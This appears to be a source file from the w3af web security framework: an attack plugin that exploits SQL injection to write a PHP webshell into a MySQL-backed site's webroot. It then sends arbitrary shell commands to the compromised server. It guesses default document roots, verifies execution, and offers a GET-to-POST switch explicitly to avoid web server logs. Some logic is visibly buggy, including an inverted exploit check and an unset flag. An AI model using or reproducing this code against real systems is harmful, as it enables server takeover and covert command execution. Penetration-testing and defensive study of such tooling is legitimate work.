'''
mysqlWebShell.py

Copyright 2006 Andres Riancho

This file is part of w3af, w3af.sourceforge.net .

w3af is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation version 2 of the License.

w3af is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with w3af; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

'''


import core.controllers.outputManager as om
from core.controllers.basePlugin.baseAttackPlugin import baseAttackPlugin

import core.data.kb.knowledgeBase as kb
import core.data.kb.vuln as vuln

import core.data.parsers.urlParser as urlParser
from core.controllers.w3afException import w3afException
import os
import urllib

from plugins.attack.shells.getShell import getShell
from plugins.attack.db.dbDriverBuilder import dbDriverBuilder as dbDriverBuilder
from core.controllers.sqlTools.blindSqli import blindSqli as blindSqliTools

class mysqlWebShell(baseAttackPlugin):
	'''
	This plugin exploits [blind] sql injections using to create a webshell on the remote host.
	
	Plugin author:
	@author: Andres Riancho ( andres.riancho@gmail.com )
	'''

	def __init__(self):
		baseAttackPlugin.__init__(self)
		self._vuln = None
		
		# User configured options for fastExploit
		self._url = ''
		self._method = ''
		self._data = ''
		self._injvar = ''
		self._changeToPost = True
		self._equAlgorithm = 'stringEq'
		self._equalLimit = 0.8
		
	def fastExploit( self ):
		'''
		Exploits a web app with [blind] sql injections vulns.
		The options are configured using the plugin options and setOptions() method.
		'''
		om.out.information( 'Starting mysqlWebShell fastExploit.' )
		v = vuln.vuln()
		v.setURL( self._url )
		v.setMethod( self._method )
		v.setDc( urlParser.getQueryString( 'http://a/a.txt?' + self._data ) )
		v.setVar( self._injvar )
	
		self._generateShell( v )
		
		return 'good'
		
	def getType(self):
		return 'shell'
		
	def canExploit( self ):
		'''
		Searches the kb for vulnerabilities that the plugin can exploit.

		@return: True if plugin knows how to exploit a found vuln.
		'''
		blindSqli = kb.kb.getData( 'blindSqli' , 'blindSqli' )
		sqli = kb.kb.getData( 'sqli' , 'sqli' )
		if len( blindSqli ) and len( sqli ):
			return False
		else:
			return True
				
	def exploit(self ):
		'''
		Exploits a [blind] sql injection vulns that was found and stored in the kb.

		@return: True if the shell is working and the user can start calling rexec
		'''
		om.out.information( 'mysqlWebShell exploit plugin is starting.' )
	
		if not self.canExploit():
			om.out.information( 'No [blind] sql injection vulnerabilities have been found.' )
			om.out.information( 'Hint #1: Try to find vulnerabilities using the audit plugins.' )
			om.out.information( 'Hint #2: Use the set command to enter the values yourself, and then exploit it using fastExploit.' )
		else:
			vulns = kb.kb.getData( 'blindSqli' , 'blindSqli' )
			vulns.extend( kb.kb.getData( 'sqli' , 'sqli' ) )
			
			bsql = blindSqliTools()
			bsql.setUrlOpener( self._urlOpener )
			bsql.setEqualLimit( self._equalLimit )
			bsql.setEquAlgorithm( self._equAlgorithm )
			vulns2 = []
			for v in vulns:
				vulns2.extend( bsql.verifyBlindSQL( v.getMutant().getFuzzableReq(), v.getVar() ) )
			vulns = vulns2
			
			for vuln in vulns:
				# Try to get a shell using all vuln
				om.out.information('Trying to exploit using vulnerability with id: ' + str( vuln.getId() ) )
				if self._generateShell(vuln):
					# A shell was generated, I only need one point of exec.
					om.out.information( '[Blind] sql vulnerability successfully exploited. You may start entering commands.' )
					return True
				else:
					om.out.information('Failed to exploit using vulnerability with id: ' + str( vuln.getId() ) )
		return False
				
	def _generateShell( self, vuln ):
		'''
		@parameter vuln: The vuln to exploit, as it was saved in the kb or supplied by the user with set commands.
		@return: True if mysqlWebShell could fingerprint the database.
		'''
		om.out.information('Creating database driver.')
		dbBuilder = dbDriverBuilder( self._urlOpener )
		self._driver = dbBuilder.getDriverForVuln( vuln )
		
		if self._driver == None:
			om.out.information('Failed to create database driver.')
			return False
		else:
			# Successfully exploited [blind]sql, 
			# Lets check that the webApp connects to a database thats in "localhost"
			om.out.information('Checking if the web application and the database are in the same host.')
			currentUser = self._driver.getCurrentUser()
			if not currentUser.upper().endswith( 'LOCALHOST' ):
				om.out.information('The web application and the database seem to be in different hosts. If you want to continue this exploit anyway, set the forceNotLocal setting to True.')
				if not self._forceNotLocal:
					return False
				else:
					om.out.information('The web application and the database seem to be in different hosts. Continuing by user request.')
			else:
				om.out.information('The database and the web application run on the same host. Continuing with the exploit.')
				
			# lets check if I can write a file to the webroot
			if not self._generateMysqlWebShell( vuln ):
				return False
			else:
				return True
			
	def _generateMysqlWebShell( self, vuln ):
		'''
		Generates a table in the remote mysql server, then saves that table to a
		file in the remote web server webroot.
		'''
		extension = vuln.getURL()[ vuln.getURL().rfind('.') +1 :]
		fileContent = getShell( extension )
		
		# Set this for later
		baseUrl = urlParser.baseUrl( vuln.getURL() )
		
		for webroot, path in self._getRemotePaths( vuln ):
			om.out.debug('Testing if mysql has privileges to create file: '+ path +'w3af_webShell.php')
			
			self._driver.writeFile( path + '/w3af_webShell.php' , fileContent )
			
			# Now we verify if the file is there!
			outFilePath = path.replace( webroot, baseUrl )
			outFilePath += 'w3af_webShell.php'
			command = '?cmd=echo+w3af+%26%26+echo+f00b4r'
			
			response =  self._urlOpener.GET( outFilePath + command )
			
			if response.getCode() == '200':
				om.out.debug('The file seems to have been created! Checking if I can execute...')
			
			if response.getBody().count('w3af\nf00b4r'):
				self._vuln = vuln
				self._remoteShell = outFilePath
				
				self._defineCut( response.getBody(), '!#!#' , exact=True )
				
				return True
			else:
				om.out.debug('Mysql has NO privileges to create file: '+ path +'w3af_webShell.php')
		
		return False
	
	def _getRemotePaths( self, vuln ):
		'''
		Get a list of possible paths where the database can write a file to the remote webroot.

		Using some path disclosure problems I can make a good guess
		of the full paths of all files in the webroot, this is the result of
		that guess.
		'''
		res = []
		pathDiscList = kb.kb.getData( 'pathDisclosure' , 'listFiles' )
		if len( pathDiscList ) == 0:
			om.out.information( 'No path disclosure vulnerabilities found. w3af will try to guess the Web Root path.' )
			res = []
			for webroot in self._getDefaultDocumentRoot( vuln ):
				res.extend(  self._generatePaths( webroot ) )
			return res
		else:
			pathDiscList = kb.kb.getData( 'pathDisclosure' , 'listPaths' )
			return pathDiscList
	
	def _generatePaths( self, webroot ):
		'''
		@return: A list of paths based on the webroot given and the paths 
		obtained during discovery phase.
		'''
		urlList = kb.kb.getData( 'urls', 'urlList' )
		paths = [ '/'.join( urlParser.getPath( x ).split('/')[:-1] )+'/' for x in urlList ]
		
		pathSep = '/'
		if webroot[0]!='/':
			pathSep = '\\'
		
		res = []
		for path in paths:
			# I need to get the path
			completePath = webroot + path.replace('/', pathSep)
			completePath = completePath.replace( pathSep+pathSep , pathSep )
			res.append( (webroot, completePath ) )
			
		return res
		
	def _getDefaultDocumentRoot( self, vuln ):
		'''
		@return: A list of common and default document roots
		'''
		res = []
		res.append('/var/www/')
		res.append('/var/www/html/')
		res.append('/var/www/htdocs/')
		res.append('/var/www/' + urlParser.getDomain( vuln.getURL() ) )
		res.append( '/home/' + urlParser.getDomain( vuln.getURL() ) )
		res.append( '/home/' + urlParser.getDomain( vuln.getURL() ) + '/www/' )
		res.append( '/home/' + urlParser.getDomain( vuln.getURL() ) + '/html/' )
		res.append( '/home/' + urlParser.getDomain( vuln.getURL() ) + '/htdocs/' )
		return res
		
	def rexec( self, command ):
		'''
		This method is called when a command is being sent to the remote server.

		@parameter command: The command to send ( users, dbs, etc ).
		@return: The result of the command.
		'''
		toSend = self._remoteShell + '?cmd=' + urllib.quote_plus( command )
		response = self._urlOpener.GET( toSend )
		return self._cut( response.getBody() )
	
	
	def getOptionsXML(self):
		'''
		This method returns a XML containing the Options that the plugin has.
		Using this XML the framework will build a window, a menu, or some other input method to retrieve
		the info from the user. The XML has to validate against the xml schema file located at :
		w3af/core/ui/userInterface.dtd
		
		@return: XML with the plugin options.
		'''	
		return	'<?xml version="1.0" encoding="ISO-8859-1"?>\
		<OptionList>\
			<Option name="url">\
				<default></default>\
				<desc>URL to exploit with fastExploit()</desc>\
				<type>string</type>\
			</Option>\
			<Option name="method">\
				<default>'+self._method+'</default>\
				<desc>Method to use with fastExploit()</desc>\
				<type>string</type>\
			</Option>\
			<Option name="injvar">\
				<default></default>\
				<desc>The variable name where to inject.</desc>\
				<type>string</type>\
			</Option>\
			<Option name="data">\
				<default></default>\
				<desc>The data, like: \'f00=bar\'</desc>\
				<type>string</type>\
			</Option>\
			<Option name="changeToPost">\
				<default>'+str(self._changeToPost)+'</default>\
				<desc>If the vulnerability was found in a GET request, try to change the method to POST during exploitation.</desc>\
				<help>If the vulnerability was found in a GET request, try to change the method to POST during exploitation; this is usefull for not being logged in the webserver logs.</help>\
				<type>boolean</type>\
			</Option>\
			<Option name="equAlgorithm">\
				<default>'+self._equAlgorithm+'</default>\
				<desc>The algorithm to use in the comparison of true and false response for blind sql.</desc>\
				<help>The options are: "stringEq", "setIntersection" and "intelligentCut" . Read the user documentation for details.</help>\
				<type>string</type>\
				<tabid>Blind SQL Options</tabid>\
			</Option>\
			<Option name="equalLimit">\
				<default>'+self._equalLimit+'</default>\
				<desc>Set the equal limit variable</desc>\
				<help>Two pages are equal if they match in more than equalLimit. Only used when equAlgorithm is set to setIntersection.</help>\
				<type>float</type>\
				<tabid>Blind SQL Options</tabid>\
			</Option>\
		</OptionList>\
		'

	def setOptions( self, optionsMap ):
		'''
		This method sets all the options that are configured using the user interface 
		generated by the framework using the result of getOptionsXML().
		
		@parameter optionsMap: A map with the options for the plugin.
		@return: No value is returned.
		'''
		self._url = urlParser.uri2url( optionsMap['url'] )
		self._method = optionsMap['method']
		self._data = optionsMap['data']
		self._injvar = optionsMap['injvar']
		self._equAlgorithm = optionsMap['equAlgorithm']
		self._equalLimit = optionsMap['equalLimit']			

	def getPluginDeps( self ):
		'''
		@return: A list with the names of the plugins that should be runned before the
		current one.
		'''
		return []
	
	def getRootProbability( self ):
		'''
		@return: This method returns the probability of getting a root shell using this attack plugin.
		This is used by the "exploit *" function to order the plugins and first try to exploit the more critical ones.
		This method should return 0 for an exploit that will never return a root shell, and 1 for an exploit that WILL ALWAYS
		return a root shell.
		'''
		return 0.6
		
	def getLongDesc( self ):
		'''
		@return: A DETAILED description of the plugin functions and features.
		'''
		return '''
		This plugin exploits two vulnerabilities and returns a shell. Two vulnerabilities must be present, a SQL injection
		and a folder permission misconfiguration that allows the database server to write a file inside the webroot; if both
		vulnerabilities are present, this plugin will write a webshell to the webroot and the user can then start typing
		commands.
		
		Six configurable parameters exist:
			- url
			- method
			- data
			- injvar
			- equAlgorithm
			- equalLimit
		'''
